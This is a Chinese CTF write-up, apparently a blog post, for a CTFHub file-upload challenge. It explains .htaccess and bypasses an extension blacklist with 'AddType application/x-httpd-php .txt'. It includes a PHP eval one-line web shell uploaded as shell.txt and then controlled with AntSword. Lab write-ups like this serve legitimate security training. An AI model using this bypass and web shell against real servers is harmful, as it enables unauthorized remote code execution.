文件上传3-前端绕过/.htaccess(ctfhub)

一.题目链接:

https://www.ctfhub.com/#/skilltree

二.基础知识  

2.1 .htaccess为何物?

  • 介绍
      .htaccess文件(或者分布式配置文件),全称是hypertext access(超文本入口)。它提供了针对目录改变配置的方法,即在一个特定的目录文档中放置一个包含一个或多个指令的文件,以此作用域此目录及其所有子目录。
      作为用户,所能使用的命令受到限制。管理员可以通过APache的AllowOverride指令来设置。
      .htaccess文件是作用于apache服务器下的控制文件访问的配置文件,因此Nginx下不会生效的。
      .htaccess可以帮助我们实现:网页301重定向,自定义404错误页面,改变文件扩展名,准许/阻止特定的用户或目录的访问,精致目录列表,配置默认文档,文件的跳转等功能

2.2 .htaccess文件上传漏洞的利用原理

  • 1:一般.htaccess可以用来留后门和针对黑名单绕过
    语法AddType MIME类型 文件扩展名
    egAddType application/x-httpd-php .png
  • 参数解释
      1.MIME类型:通过Content-Type头(如text/html,image/jpef)告诉浏览器或服务器如何处理数据,常见的MIME类型有:text/plain(文本文件),text/html(HTML文件),image/jpeg(照片文件)
      2.x-httpd-php:x---表示这是一个非官方的MIME类型,httpd -- 特指Apache服务器,php -- 表示文件需要由php解析器下执行
      3..txt -- 将txt文件解析为php文件

三.开始解题

1.经过上面的基础知识,我们可以把txt文件变成php,先touch一个名字.htaccess文件,将以下内容写入。这里一定要注意,当我们在网页上传文件时,要右键显示隐藏文件,因为配置文件时默认隐藏的

#将txt文件解析为PHP文件执行
AddType application/x-httpd-php .txt

#再创建一个shell.txt文件用来写一句话木马,这里的pass为密码
 <?php @eval($_POST["pass"]);?> 



上传成功后,我们通过相对路径访问该文件,访问成功,把url复制到蚁剑上,输入密码,测试连接,然后连接

四.思路总结

参考wp:https://www.cnblogs.com/0yst3r-2046/p/12511617.html
常规的上传方法不能用,包括改后缀名 -->
那就尝试改配置文件进行绕过

posted @ 2025-04-17 13:05  sun010  阅读(203)  评论(0)    收藏  举报